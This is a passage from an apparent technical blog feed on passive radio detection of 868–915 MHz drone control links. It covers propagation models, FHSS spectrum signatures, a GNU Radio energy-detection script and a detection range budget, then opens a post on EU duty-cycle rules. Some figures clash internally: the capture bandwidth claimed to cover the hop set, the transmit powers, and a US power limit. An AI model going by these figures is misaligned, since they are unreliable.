      <td>132.0 dB</td>
      <td>139.5 dB</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="beyond-free-space--propagation-models-for-real-terrain">Beyond free-space — propagation models for real terrain</h2>

<p>Free-space loss assumes an unobstructed line-of-sight path between isotropic antennas. Real drone deployments add two important effects: ground reflection and terrain/obstacle diffraction.</p>

<h3 id="two-ray-ground-reflection-model">Two-ray ground reflection model</h3>

<p>When the transmitter and receiver are at low altitude above flat ground, a reflected ray from the ground surface arrives at the receiver with a path length difference that causes interference. The two-ray model predicts that at close range, signal strength follows the free-space model; beyond a <strong>breakpoint distance</strong> <code class="language-plaintext highlighter-rouge">d_b</code>, the received power decays as <code class="language-plaintext highlighter-rouge">d⁻⁴</code> rather than <code class="language-plaintext highlighter-rouge">d⁻²</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d_b = 4 · h_t · h_r / λ
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">h_t</code> and <code class="language-plaintext highlighter-rouge">h_r</code> are the transmitter and receiver heights above the reflecting plane, and <code class="language-plaintext highlighter-rouge">λ</code> is wavelength.</p>

<p>For a drone at 50m altitude and a ground receiver at 2m, at 868 MHz (λ = 0.345 m):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d_b = 4 × 50 × 2 / 0.345 = 1,159 m
</code></pre></div></div>

<p>Beyond ~1.2 km, the two-ray model predicts <code class="language-plaintext highlighter-rouge">d⁻⁴</code> decay — 40 dB loss per decade of distance rather than the free-space 20 dB. In practice this sets the effective long-range ceiling: a link budget designed on free-space assumptions will be optimistic beyond the breakpoint.</p>

<p>Raising either the drone altitude or the receiver antenna height increases the breakpoint:</p>
<ul>
  <li>Drone at 100m + receiver at 5m: <code class="language-plaintext highlighter-rouge">d_b = 4 × 100 × 5 / 0.345 = 5,797 m</code></li>
  <li>Drone at 100m + receiver at 10m: <code class="language-plaintext highlighter-rouge">d_b ≈ 11.6 km</code></li>
</ul>

<p>A monitoring station at elevation with a receiver antenna at 10m above local ground tracks the free-space model out to ~11 km for a drone at 100m — explaining why high-ground installations with elevated antennas dramatically outperform low-ground equivalents.</p>

<h3 id="terrain-diffraction--the-knife-edge-model">Terrain diffraction — the knife-edge model</h3>

<p>When terrain obstructs the line-of-sight path, the signal diffracts around the obstacle. The Fresnel-Kirchhoff diffraction parameter <code class="language-plaintext highlighter-rouge">ν</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ν = h · √(2(d₁ + d₂) / (λ · d₁ · d₂))
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">h</code> is the height of the obstacle above the line joining transmitter and receiver, <code class="language-plaintext highlighter-rouge">d₁</code> and <code class="language-plaintext highlighter-rouge">d₂</code> are the distances from transmitter and receiver to the obstacle respectively, and <code class="language-plaintext highlighter-rouge">λ</code> is wavelength.</p>

<p>Diffraction loss:</p>

<table>
  <thead>
    <tr>
      <th>ν</th>
      <th>Additional loss (dB)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>&lt; −0.7</td>
      <td>0 (obstacle below LOS)</td>
    </tr>
    <tr>
      <td>0</td>
      <td>6 dB</td>
    </tr>
    <tr>
      <td>+1</td>
      <td>~12 dB</td>
    </tr>
    <tr>
      <td>+2.4</td>
      <td>~20 dB</td>
    </tr>
    <tr>
      <td>+3</td>
      <td>~25 dB</td>
    </tr>
  </tbody>
</table>

<p><strong>Key insight</strong>: at 868 MHz, a ridge or building 10m above the line-of-sight at the midpoint of a 2 km path:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ν = 10 × √(2 × 2000 / (0.345 × 1000 × 1000)) = 10 × √(0.01159) = 10 × 0.1076 = 1.08
</code></pre></div></div>

<p>Additional loss ≈ 13 dB. The same obstacle at 2.4 GHz (λ = 0.125 m):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ν = 10 × √(2 × 2000 / (0.125 × 1000 × 1000)) = 10 × 0.1789 = 1.79
</code></pre></div></div>

<p>Additional loss ≈ 18 dB. The 868 MHz signal is 5 dB better at diffracting around the same obstacle — explaining why 900 MHz links maintain connectivity in hilly terrain where 2.4 GHz systems break up. For passive monitoring, this means that terrain-shielded positions provide less protection against 868 MHz detection than against 2.4 GHz.</p>

<hr />

<h2 id="fresnel-zone-clearance">Fresnel zone clearance</h2>

<p>The Fresnel zone is the ellipsoid around the direct path within which signal energy is concentrated. The first Fresnel zone radius at the midpoint of a path of length <code class="language-plaintext highlighter-rouge">d</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r₁ = √(λ · d / 4)    (at midpoint of path)
</code></pre></div></div>

<p>At 868 MHz over a 5 km path:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r₁ = √(0.345 × 5000 / 4) = √(431) ≈ 20.8 m
</code></pre></div></div>

<p>Any obstruction within 20.8 m of the direct path at its midpoint adds significant diffraction loss. For a drone at 100m altitude flying at 5 km range, the line-of-sight path midpoint is at ~50m altitude — the drone-to-receiver link has ample clearance above any ground obstruction at that geometry.</p>

<p>For a passive ground-based monitoring receiver, the Fresnel zone at the <em>receiver</em> end is what matters. An antenna at 5m height monitoring a drone at 500m range at 868 MHz:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r₁ at 250m (midpoint) = √(0.345 × 500 / 4) = √(43.1) ≈ 6.6 m
</code></pre></div></div>

<p>Any building within 6.6m of the direct path, at its midpoint, introduces meaningful additional loss. In dense urban environments, near-complete Fresnel zone obstruction is common — explaining the 3–8× range reduction from free-space predictions in city centres.</p>

<p><strong>Rule of thumb</strong>: for reliable first-Fresnel-zone clearance, antenna height above local ground should exceed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>h_min ≈ √(λ · d) / 2    (at the receiver, for the nearest ground obstruction)
</code></pre></div></div>

<p>At 868 MHz over 1 km: <code class="language-plaintext highlighter-rouge">h_min ≈ √(0.345 × 1000) / 2 = 9.3 m</code>. A monitoring antenna at 10m height provides adequate Fresnel clearance for paths up to ~1 km over flat ground.</p>

<hr />

<h2 id="fhss-at-900-mhz--what-the-spectrum-actually-looks-like">FHSS at 900 MHz — what the spectrum actually looks like</h2>

<p>ExpressLRS at 868 MHz hops across a defined channel set within the 863–868 MHz band. The current ELRS channel plan for EU 868:</p>

<ul>
  <li>Regulatory band: 863.275–869.575 MHz</li>
  <li>ELRS EU868 channels: typically 40–80 channels spaced ~150 kHz apart within the allowed sub-bands</li>
  <li>Channel bandwidth: 500 kHz (for LoRa CSS modulation at ELRS’s SF6, BW=500kHz setting)</li>
  <li>Hop dwell time: one packet per channel, ~1–2 ms at 100–500 Hz packet rate</li>
</ul>

<p>TBS Crossfire at 868 MHz:</p>
<ul>
  <li>40 hopping channels across 863–870 MHz</li>
  <li>Packet rate: 150 Hz at 1 ms dwell per channel</li>
  <li>Full band sweep period: 40 channels × 1/150 s ≈ 267 ms</li>
</ul>

<p><strong>In a waterfall display</strong> (SDR receiver, FFT size 8192, 1024 ms averaging at 868 MHz, 6 MHz span):</p>

<ul>
  <li>FHSS control links appear as a <strong>comb pattern</strong>: brief, narrow-bandwidth bursts that appear at apparently random frequencies, with each burst lasting 1–2 ms before hopping elsewhere. The overall energy is spread across the band rather than concentrated on a single carrier.</li>
  <li>Each individual burst is clearly above the noise floor (typically +20 to +30 dB SNR at 500m with a decent antenna), but the short dwell time means a waterfall with 100 ms averaging shows the hops as thin horizontal streaks rather than bright narrow columns.</li>
  <li>The <strong>repetition period</strong> is consistent — at Crossfire’s 150 Hz, each channel is revisited every ~267 ms. A long waterfall persistence (5–10 seconds) shows every channel in the hop set lit up, revealing the full FHSS spectrum occupancy.</li>
</ul>

<p><strong>Distinguishing control links from other 868 MHz traffic:</strong></p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Spectral signature</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ELRS / Crossfire FHSS</td>
      <td>Brief wideband (500 kHz) bursts sweeping across 863–870 MHz</td>
    </tr>
    <tr>
      <td>LoRa telemetry (ArduPilot SiK)</td>
      <td>Narrowband (~125 kHz), 20 hops, 900–928 MHz, persistent comb</td>
    </tr>
    <tr>
      <td>LoRaWAN sensors</td>
      <td>Very narrow (~125 kHz), fixed channels (868.1, 868.3, 868.5), bursty</td>
    </tr>
    <tr>
      <td>868 MHz DECT</td>
      <td>Fixed channel, 1.728 MHz wide, 10 ms frame</td>
    </tr>
  </tbody>
</table>

<p>The distinguishing feature of drone control links is the <strong>high packet rate and wide bandwidth per burst</strong> — ELRS at SF6, BW=500kHz produces bursts that are 500 kHz wide (broad for ISM), extremely short (1–2 ms), and appear at a high and consistent rate relative to IoT sensors.</p>

<hr />

<h2 id="passive-receiver-configuration-for-900-mhz-monitoring">Passive receiver configuration for 900 MHz monitoring</h2>

<h3 id="hardware">Hardware</h3>

<p>The RTL-SDR V3 covers 500 kHz–1.766 GHz adequately for 868 MHz monitoring. At 915 MHz it is still within range. Recommended sample rate: <strong>2.4 MS/s</strong> (gives 2.4 MHz instantaneous bandwidth, enough to see the entire ELRS EU868 hop set in one capture with minimal aliasing).</p>

<p>For better noise figure at 868 MHz (especially with a long coax run):</p>
<ul>
  <li>LNA4ALL or similar wideband LNA at the antenna end</li>
  <li>Or: a filtered LNA specific to 868–915 MHz (reduces out-of-band interference from strong 800 MHz LTE signals)</li>
</ul>

<p>RTL-SDR noise figure at 868 MHz: approximately 3.5–4 dB after the front-end. An 868 MHz LNA with 20 dB gain and 1.5 dB NF reduces system NF to ~1.7 dB — an improvement worth having if monitoring at range.</p>

<h3 id="gnu-radio-flowgraph-for-fhss-detection">GNU Radio flowgraph for FHSS detection</h3>

<p>Rather than demodulating the FHSS signal (which requires knowing the hop sequence), passive monitoring for <em>energy presence</em> is the practical approach: detect that something is transmitting at high frequency in the band, identify it as FHSS by the repetition period and burst width, and log time and power.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="sh">"""</span><span class="s">
868 MHz FHSS energy detector.
Scans the band for burst activity characteristic of drone control links.
</span><span class="sh">"""</span>

<span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="n">osmosdr</span>
<span class="kn">import</span> <span class="n">time</span>
<span class="kn">from</span> <span class="n">gnuradio</span> <span class="kn">import</span> <span class="n">gr</span><span class="p">,</span> <span class="n">blocks</span><span class="p">,</span> <span class="n">fft</span>

<span class="k">class</span> <span class="nc">FHSSDetector</span><span class="p">(</span><span class="n">gr</span><span class="p">.</span><span class="n">top_block</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">center_freq</span><span class="o">=</span><span class="mf">868e6</span><span class="p">,</span> <span class="n">samp_rate</span><span class="o">=</span><span class="mf">2.4e6</span><span class="p">,</span> <span class="n">threshold_db</span><span class="o">=</span><span class="mf">20.0</span><span class="p">):</span>
        <span class="n">gr</span><span class="p">.</span><span class="n">top_block</span><span class="p">.</span><span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">threshold_db</span> <span class="o">=</span> <span class="n">threshold_db</span>

        <span class="c1"># Source
</span>        <span class="n">src</span> <span class="o">=</span> <span class="n">osmosdr</span><span class="p">.</span><span class="nf">source</span><span class="p">(</span><span class="n">args</span><span class="o">=</span><span class="sh">"</span><span class="s">rtl=0</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">src</span><span class="p">.</span><span class="nf">set_sample_rate</span><span class="p">(</span><span class="n">samp_rate</span><span class="p">)</span>
        <span class="n">src</span><span class="p">.</span><span class="nf">set_center_freq</span><span class="p">(</span><span class="n">center_freq</span><span class="p">)</span>
        <span class="n">src</span><span class="p">.</span><span class="nf">set_gain</span><span class="p">(</span><span class="mi">40</span><span class="p">)</span>
        <span class="n">src</span><span class="p">.</span><span class="nf">set_if_gain</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>

        <span class="c1"># FFT power spectrum
</span>        <span class="n">fft_size</span>    <span class="o">=</span> <span class="mi">2048</span>
        <span class="n">fft_block</span>   <span class="o">=</span> <span class="n">fft</span><span class="p">.</span><span class="nf">logpwrfft_c</span><span class="p">(</span><span class="n">samp_rate</span><span class="p">,</span> <span class="n">fft_size</span><span class="p">,</span> <span class="n">fft</span><span class="p">.</span><span class="n">window</span><span class="p">.</span><span class="n">WIN_BLACKMAN_HARRIS</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>
        <span class="n">probe</span>       <span class="o">=</span> <span class="n">blocks</span><span class="p">.</span><span class="nf">probe_signal_vf</span><span class="p">(</span><span class="n">fft_size</span><span class="p">)</span>

        <span class="n">self</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">fft_block</span><span class="p">,</span> <span class="n">probe</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">probe</span> <span class="o">=</span> <span class="n">probe</span>
        <span class="n">self</span><span class="p">.</span><span class="n">fft_size</span> <span class="o">=</span> <span class="n">fft_size</span>
        <span class="n">self</span><span class="p">.</span><span class="n">center_freq</span> <span class="o">=</span> <span class="n">center_freq</span>
        <span class="n">self</span><span class="p">.</span><span class="n">samp_rate</span> <span class="o">=</span> <span class="n">samp_rate</span>


<span class="k">def</span> <span class="nf">monitor_band</span><span class="p">(</span><span class="n">center_freq</span><span class="o">=</span><span class="mf">868e6</span><span class="p">,</span> <span class="n">samp_rate</span><span class="o">=</span><span class="mf">2.4e6</span><span class="p">,</span> <span class="n">duration</span><span class="o">=</span><span class="mi">60</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Monitor 868 MHz band for FHSS burst activity.
    Returns timestamps and affected frequency bins of detected bursts.
    </span><span class="sh">"""</span>
    <span class="n">tb</span> <span class="o">=</span> <span class="nc">FHSSDetector</span><span class="p">(</span><span class="n">center_freq</span><span class="p">,</span> <span class="n">samp_rate</span><span class="p">)</span>
    <span class="n">tb</span><span class="p">.</span><span class="nf">start</span><span class="p">()</span>
    <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>  <span class="c1"># let the flowgraph stabilise
</span>
    <span class="c1"># Establish noise floor baseline (5 seconds)
</span>    <span class="n">baseline_samples</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">t0</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span>
    <span class="k">while</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">t0</span> <span class="o">&lt;</span> <span class="mf">5.0</span><span class="p">:</span>
        <span class="n">spectrum</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">array</span><span class="p">(</span><span class="n">tb</span><span class="p">.</span><span class="n">probe</span><span class="p">.</span><span class="nf">level</span><span class="p">())</span>
        <span class="n">baseline_samples</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">spectrum</span><span class="p">)</span>
        <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.05</span><span class="p">)</span>

    <span class="n">noise_floor</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">median</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="nf">array</span><span class="p">(</span><span class="n">baseline_samples</span><span class="p">),</span> <span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">threshold</span>   <span class="o">=</span> <span class="n">noise_floor</span> <span class="o">+</span> <span class="mf">20.0</span>  <span class="c1"># 20 dB above noise floor
</span>
    <span class="c1"># Monitoring loop
</span>    <span class="n">detections</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">freq_axis</span>  <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">linspace</span><span class="p">(</span><span class="n">center_freq</span> <span class="o">-</span> <span class="n">samp_rate</span><span class="o">/</span><span class="mi">2</span><span class="p">,</span>
                             <span class="n">center_freq</span> <span class="o">+</span> <span class="n">samp_rate</span><span class="o">/</span><span class="mi">2</span><span class="p">,</span>
                             <span class="n">tb</span><span class="p">.</span><span class="n">fft_size</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Monitoring </span><span class="si">{</span><span class="n">center_freq</span><span class="o">/</span><span class="mf">1e6</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> MHz ± </span><span class="si">{</span><span class="n">samp_rate</span><span class="o">/</span><span class="mf">2e6</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> MHz</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Noise floor: </span><span class="si">{</span><span class="n">np</span><span class="p">.</span><span class="nf">mean</span><span class="p">(</span><span class="n">noise_floor</span><span class="p">)</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> dBFS, threshold: +20 dB</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">t0</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span>
    <span class="k">while</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">t0</span> <span class="o">&lt;</span> <span class="n">duration</span><span class="p">:</span>
        <span class="n">spectrum</span>  <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">array</span><span class="p">(</span><span class="n">tb</span><span class="p">.</span><span class="n">probe</span><span class="p">.</span><span class="nf">level</span><span class="p">())</span>
        <span class="n">above</span>     <span class="o">=</span> <span class="n">spectrum</span> <span class="o">&gt;</span> <span class="n">threshold</span>
        <span class="k">if</span> <span class="n">np</span><span class="p">.</span><span class="nf">any</span><span class="p">(</span><span class="n">above</span><span class="p">):</span>
            <span class="n">active_freqs</span> <span class="o">=</span> <span class="n">freq_axis</span><span class="p">[</span><span class="n">above</span><span class="p">]</span>
            <span class="n">peak_power</span>   <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">max</span><span class="p">(</span><span class="n">spectrum</span><span class="p">[</span><span class="n">above</span><span class="p">])</span>
            <span class="n">ts</span>           <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">t0</span>
            <span class="n">detections</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">time</span><span class="sh">'</span><span class="p">:</span>        <span class="n">ts</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">freq_min_mhz</span><span class="sh">'</span><span class="p">:</span> <span class="n">active_freqs</span><span class="p">.</span><span class="nf">min</span><span class="p">()</span> <span class="o">/</span> <span class="mf">1e6</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">freq_max_mhz</span><span class="sh">'</span><span class="p">:</span> <span class="n">active_freqs</span><span class="p">.</span><span class="nf">max</span><span class="p">()</span> <span class="o">/</span> <span class="mf">1e6</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">bandwidth_khz</span><span class="sh">'</span><span class="p">:</span> <span class="p">(</span><span class="n">active_freqs</span><span class="p">.</span><span class="nf">max</span><span class="p">()</span> <span class="o">-</span> <span class="n">active_freqs</span><span class="p">.</span><span class="nf">min</span><span class="p">())</span> <span class="o">/</span> <span class="mf">1e3</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">peak_dbfs</span><span class="sh">'</span><span class="p">:</span>   <span class="n">peak_power</span><span class="p">,</span>
            <span class="p">})</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+</span><span class="si">{</span><span class="n">ts</span><span class="si">:</span><span class="mf">6.2</span><span class="n">f</span><span class="si">}</span><span class="s">s] Burst: </span><span class="sh">"</span>
                  <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">active_freqs</span><span class="p">.</span><span class="nf">min</span><span class="p">()</span><span class="o">/</span><span class="mf">1e6</span><span class="si">:</span><span class="p">.</span><span class="mi">3</span><span class="n">f</span><span class="si">}</span><span class="s">–</span><span class="si">{</span><span class="n">active_freqs</span><span class="p">.</span><span class="nf">max</span><span class="p">()</span><span class="o">/</span><span class="mf">1e6</span><span class="si">:</span><span class="p">.</span><span class="mi">3</span><span class="n">f</span><span class="si">}</span><span class="s"> MHz  </span><span class="sh">"</span>
                  <span class="sa">f</span><span class="sh">"</span><span class="s">BW=</span><span class="si">{</span><span class="n">detections</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="sh">'</span><span class="s">bandwidth_khz</span><span class="sh">'</span><span class="p">]</span><span class="si">:</span><span class="p">.</span><span class="mi">0</span><span class="n">f</span><span class="si">}</span><span class="s"> kHz  </span><span class="sh">"</span>
                  <span class="sa">f</span><span class="sh">"</span><span class="s">peak=</span><span class="si">{</span><span class="n">peak_power</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> dBFS</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.005</span><span class="p">)</span>  <span class="c1"># 5 ms polling — resolves individual FHSS bursts
</span>
    <span class="n">tb</span><span class="p">.</span><span class="nf">stop</span><span class="p">()</span>
    <span class="n">tb</span><span class="p">.</span><span class="nf">wait</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">detections</span>
</code></pre></div></div>

<p>A burst classified as a drone control link if it meets <strong>all</strong> of:</p>
<ul>
  <li>Bandwidth &gt; 200 kHz (FHSS CSS bursts; LoRaWAN sensors are narrower)</li>
  <li>Duration 1–3 ms per burst</li>
  <li>Repetition rate 25–500 Hz</li>
  <li>Frequency varies between consecutive bursts (not fixed carrier)</li>
</ul>

<hr />

<h2 id="practical-detection-range--worked-budget-at-868-mhz">Practical detection range — worked budget at 868 MHz</h2>

<p><strong>Target</strong>: ExpressLRS at 868 MHz, 100 mW output, SF6/BW500k (LoRa CSS), drone at 200m altitude.</p>

<p><strong>Receiver</strong>: RTL-SDR V3 with LNA (system NF = 1.8 dB), 868 MHz half-wave dipole at 6m height.</p>

<p><strong>Noise floor</strong> at 500 kHz bandwidth:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>N = −174 dBm/Hz + 10·log₁₀(500×10³) + 1.8 dB = −174 + 57.0 + 1.8 = −115.2 dBm
</code></pre></div></div>

<p><strong>Minimum detectable signal</strong> (SNR = 10 dB for reliable detection):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>S_min = −115.2 + 10 = −105.2 dBm
</code></pre></div></div>

<p><strong>Link budget for detection range</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P_tx (100 mW):     +20.0 dBm
G_tx (drone whip): +2.0 dBi
G_rx (dipole):     +2.0 dBi
Cable loss:        −1.0 dB

FSPL budget = 20 + 2 + 2 − 1 − (−105.2) = 128.2 dB
</code></pre></div></div>

<p>Maximum free-space range:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FSPL = 128.2 dB → d = 10^((128.2 + 147.55 − 20·log₁₀(868×10⁶)) / 20)
                     = 10^((275.75 − 178.77) / 20)
                     = 10^(96.98 / 20)
                     = 10^4.849
                     ≈ 70.6 km
</code></pre></div></div>

<p>In flat open terrain, free-space detection range is approximately <strong>70 km</strong> — ample even for long-range FPV. Real-world range is dominated by terrain and two-ray effects, not sensitivity:</p>

<ul>
  <li>Open fields, antenna at 10m height: 15–30 km practical range</li>
  <li>Suburban environment: 3–8 km</li>
  <li>Dense urban: 500m–2 km</li>
</ul>

<p><strong>The comparison with 2.4 GHz</strong> at the same power and sensitivity: free-space detection range at 2.4 GHz is <code class="language-plaintext highlighter-rouge">70.6 / 2.75 ≈ 25.7 km</code> — still very long, but the 868 MHz advantage is meaningful in terrain where Fresnel diffraction matters, as shown earlier.</p>

<hr />

<h2 id="regional-comparison--eu-vs-us-900-mhz">Regional comparison — EU vs US 900 MHz</h2>

<p>The frequency and regulatory differences between EU and North American 900 MHz drone systems have direct implications for passive monitoring:</p>

<table>
  <thead>
    <tr>
      <th>Parameter</th>
      <th>EU 868 MHz (ELRS/Crossfire)</th>
      <th>US 915 MHz (ELRS/Crossfire)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Band</td>
      <td>863–870 MHz</td>
      <td>902–928 MHz</td>
    </tr>
    <tr>
      <td>Duty cycle</td>
      <td>1% (most sub-bands)</td>
      <td>None (FCC Part 15)</td>
    </tr>
    <tr>
      <td>Max power (unlicensed)</td>
      <td>25 mW</td>
      <td>30 mW (+4.8 dBm)</td>
    </tr>
    <tr>
      <td>Hop channels</td>
      <td>40–80</td>
      <td>50–100+</td>
    </tr>
    <tr>
      <td>Packet rate</td>
      <td>25–100 Hz (duty cycle limited)</td>
      <td>50–500 Hz (no limit)</td>
    </tr>
    <tr>
      <td>Path loss vs EU</td>
      <td>+0.4 dB at same distance</td>
      <td>same calc</td>
    </tr>
  </tbody>
</table>

<p>The EU duty cycle constraint reduces the available packet rate, which reduces the per-channel detection probability for a scanning receiver (as covered in the duty cycle post). The US band’s wider allocation (26 MHz vs 7 MHz) and higher permitted packet rate make the FHSS signature denser but also spread over a wider spectrum — requiring a wider receiver bandwidth to observe the full hop set.</p>

<p>For monitoring US-market drones in the EU (a common scenario given international purchase of FPV hardware), note that the device may be transmitting at 915 MHz rather than 868 MHz and may not honour EU duty cycle limits — resulting in a higher-rate, potentially non-compliant signal that is paradoxically <em>easier</em> to detect than a compliant EU-market device.</p>

<p>The signal processing applied to both is identical: energy detection, burst timing analysis, and hop sequence characterisation from the frequency-time waterfall.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="900MHz" /><category term="868MHz" /><category term="ExpressLRS" /><category term="TBS-Crossfire" /><category term="FHSS" /><category term="propagation" /><category term="path-loss" /><category term="Fresnel" /><category term="SDR" /><category term="passive-monitoring" /><summary type="html"><![CDATA[A detailed treatment of RF propagation at 868–915 MHz as it applies to consumer drone control links — free-space loss, two-ray ground reflection, Fresnel zone clearance, FHSS spectrum signatures, and what a passive receiver actually sees when monitoring this band.]]></summary></entry><entry><title type="html">Duty cycle regulations and passive drone detection: how legal transmit limits shape detection probability</title><link href="https://yumas.hankouri.com/posts/2025/03/25/duty-cycle-drone-detection-range/" rel="alternate" type="text/html" title="Duty cycle regulations and passive drone detection: how legal transmit limits shape detection probability" /><published>2025-03-25T00:00:00+00:00</published><updated>2025-03-25T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/03/25/duty-cycle-drone-detection-range</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/03/25/duty-cycle-drone-detection-range/"><![CDATA[<div class="layman-summary"><p>
EU rules limit how often drones can transmit (duty cycle). This post works through what that means for detection range — how a system that can only listen for so long compares against one with continuous coverage, and what you can realistically expect to detect and at what distance.
</p></div>

<p>A passive RF monitoring system can only detect a drone when the drone is transmitting. The question of <em>how often</em> a drone transmits is not purely a design choice — it is substantially shaped by the regulatory framework governing the frequency band the drone uses. In Europe, ETSI EN 300 220 imposes duty cycle limits on ISM-band devices that directly constrain how frequently any beacon, telemetry downlink, or Remote ID message appears on the air. Understanding those limits is the prerequisite for understanding detection probability as a function of time and geometry.</p>

<p>This post works through the problem from the regulatory basis up to a practical detection probability model, with numerical examples for the main drone frequency bands.</p>

<hr />

<h2 id="the-regulatory-framework--what-duty-cycle-actually-means">The regulatory framework — what duty cycle actually means</h2>

<p>A duty cycle limit <code class="language-plaintext highlighter-rouge">δ</code> expressed as a percentage means that a device may transmit for at most <code class="language-plaintext highlighter-rouge">δ%</code> of any given measurement window, typically evaluated on a rolling one-hour basis. The ETSI EN 300 220-2 allocation for 868 MHz ISM devices divides the band into sub-bands with different duty cycle allowances:</p>

<table>
  <thead>
    <tr>
      <th>Sub-band (EU 868 MHz)</th>
      <th>Duty cycle</th>
      <th>Max tx power</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>863–868 MHz</td>
      <td>1%</td>
      <td>25 mW (14 dBm)</td>
    </tr>
    <tr>
      <td>868.0–868.6 MHz</td>
      <td>1%</td>
      <td>25 mW</td>
    </tr>
    <tr>
      <td>868.7–869.2 MHz</td>
      <td>0.1%</td>
      <td>25 mW</td>
    </tr>
    <tr>
      <td><strong>869.4–869.65 MHz</strong></td>
      <td><strong>10%</strong></td>
      <td><strong>500 mW (27 dBm)</strong></td>
    </tr>
    <tr>
      <td>869.7–870.0 MHz</td>
      <td>1%</td>
      <td>5 mW</td>
    </tr>
  </tbody>
</table>

<p>Consumer drone control links operating in the EU 868 MHz band — primarily ExpressLRS at 868 MHz and some legacy RC systems — fall under the 1% sub-band. At a 1% duty cycle in a one-hour rolling window, a transmitter may be on the air for at most 36 seconds per hour. If the control link transmits continuously at 25 Hz, each packet is approximately 5 ms, meaning at most ~7,200 packets per hour — but the transmitter is constrained to be active for no more than 36 seconds per hour total.</p>

